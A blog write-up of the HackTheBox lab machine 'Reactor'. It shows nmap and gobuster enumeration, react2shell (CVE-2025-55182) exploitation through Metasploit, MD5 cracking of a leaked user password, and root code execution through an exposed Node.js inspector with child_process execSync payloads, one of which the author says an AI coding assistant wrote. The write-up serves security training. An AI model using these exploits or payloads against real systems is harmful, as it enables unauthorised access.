HTB Writeup: Reactor

Table of Contents

Reactor was the first box released for HackTheBox Season 11. It’s an easy Linux machine where you take advantage of react2shell and remote code execution in the Node.js inspector exposed on localhost.

User

I started off, of course, with an Nmap scan. I like to scan all ports first and then do script scanning and service scanning on the ports that are found to maximize speed and thoroughness.

nmap -p- reactor.htb revealed that ports 22 and 3000 are open.

Service and script scanning didn’t give me too much information other than the fact that a web server was open on port 3000. I also noted down the version of OpenSSH running (OpenSSH 9.6p1 Ubuntu 3ubuntu13.16) to research later.

nmap -p22,3000 -sV -sC -oN nmap-scripts reactor.htb
# Nmap 7.98 scan initiated Sat May 23 18:45:14 2026 as: /usr/lib/nmap/nmap --privileged -p22,3000 -sV -sC -oN nmap-scripts 10.129.2.190
Nmap scan report for reactor.htb (10.129.2.190)
Host is up (0.066s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
|_  256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
3000/tcp open  ppp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
|     x-nextjs-cache: HIT
|     x-nextjs-prerender: 1
|     x-nextjs-stale-time: 4294967294
|     X-Powered-By: Next.js
|     Cache-Control: s-maxage=31536000
|     ETag: "p02u6gnhufd8t"
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 17175
|     Date: Sat, 23 May 2026 22:45:26 GMT
|     Connection: close

Since there were so few results, I also started a UDP port scan just in case. That ran for a while and I never ended up exploring what was open on port 68 because I found something much more juicy in the meantime.

nmap -sU reactor.htb
# Nmap 7.98 scan initiated Sat May 23 19:24:38 2026 as: /usr/lib/nmap/nmap --privileged -sV -sC -sU -p68 -oN nmap-udp 10.129.2.190
Nmap scan report for reactor.htb (10.129.2.190)
Host is up (0.048s latency).
PORT     STATE         SERVICE VERSION
68/udp   open|filtered dhcpc

I went to the site and saw that it claimed to be running Core Monitoring System 3.2.1. I did some Googling hoping to find a niche GitHub made for this box but came up empty handed. In the meantime, I started a Gobuster directory brute forcing attack but that did not reveal a single directory.

gobuster dir -u http://reactor.htb:3000/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50 -o gobuster-dir

I also opened up the Wappalyzer extension, and noted down Next.js 15.0.3. There were a few names listed on the site and I wrote those down too in case I could use them later for a password spray or deduce a username from them.

Wappalyzer showing Next.js version 15.0.3 in use on the web server
Wappalyzer in action

I then checked CVEdetails for the OpenSSH version I found earlier, and it was too recent to be likely. I moved on to the Next.js version, and found CVE-2025-55182, which turned out to be react2shell! This was such a high profile vulnerability that I didn’t even go to Exploit DB — I went straight to Metasploit.

msf > search exploit cve:CVE-2025-55182

Matching Modules
================

   #  Name                                                      Disclosure Date  Rank       Check  Description
   -  ----                                                      ---------------  ----       -----  -----------
   0  exploit/multi/http/react2shell_unauth_rce_cve_2025_55182  2025-12-03       excellent  Yes    Unauthenticated RCE in React Server Components (React2Shell)
   1    \_ target: Next.js - Unix Command                       .                .          .      .
   2    \_ target: Next.js - Windows Command                    .                .          .      .
   3    \_ target: Waku - Unix Command                          .                .          .      .
   4    \_ target: Waku - Windows Command                       .                .          .      .

I ran multi/http/react2shell_unauth_rce_cve_2025_55182 to get a shell as the node user. Doing an ls in the directory we landed in reveals reactor.db, which is a SQLite database file.

ls
app
next.config.js
node_modules
package.json
package-lock.json
reactor.db

file reactor.db
reactor.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 7, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 7

A quick enumeration of this file reveals the password hashes of engineer and admin.

sqlite3 reactor.db
.tables
sensor_logs  users

SELECT * FROM users;
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb

I ran them through hashid to learn these were MD5 hashes, then threw them in hashcat and got the engineer’s password: reactor1.

hashcat -m 0 39d97110eafe2a9a68639812cd271e8e /usr/share/wordlists/rockyou.txt

I used SSH to connect into the box and got the user flag.

Root

The first thing I checked was if my user had sudo privileges which could be abused to escalate with sudo -l, and found that the engineer user had no sudo privileges.

I had something else I had to do that pulled me from the machine, so at this point I just copied over linpeas and ran it to see what it could find.

The first thing that caught my eye was that the user was in the groups lxc and adm. I researched the lxc group and found this. The lxc process was not running and I was unable to install it with snap, so I just moved on from this path.

The adm group allows a user to have access to logs in /var/log, but I didn’t find anything useful there either.

Linpeas flagged the Node.js process running on port 9229 that was only accessible via localhost running as root.

root        1407  0.0  1.1 1066640 47300 ?       Ssl  May23   0:01 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

I researched this and again HackTricks had a tutorial on how to exploit this for remote code execution. Starting Node.js with the --inspect command runs it in debugger mode, and in this mode you can execute commands as the user it is running as — in this case, root.

I connected to the inspector process with node inspect 127.0.0.1:9229, which opened a shell into the inspector process. I tried the payload example HackTricks provided, but it did not work:

process.mainModule.require("child_process").exec("calc")

I opened Claude Code and asked it to generate a working payload to get command execution in this context, which was successful.

exec("global.process.mainModule.require('child_process').execSync('id').toString()")

I then used this to get the root flag!

exec("global.process.mainModule.require('child_process').execSync('cat /root/root.txt').toString()")
Share :

Related Posts

HTB Writeup: DevHub

  • Caden Rasey
  • Writeup

This writeup is locked until the box is retired.

HTB Writeup: Enigma

  • Caden Rasey
  • Writeup

This writeup is locked until the box is retired.

How to Hack from the Stationary Bike at the Gym

Introduction I started HackTheBox about one year ago on my journey to build a career in offensive security. It started slow, just doing the lessons and structured coursework, but I recently got into doing boxes and HTB seasons - and it has become my new favorite hobby.

Read More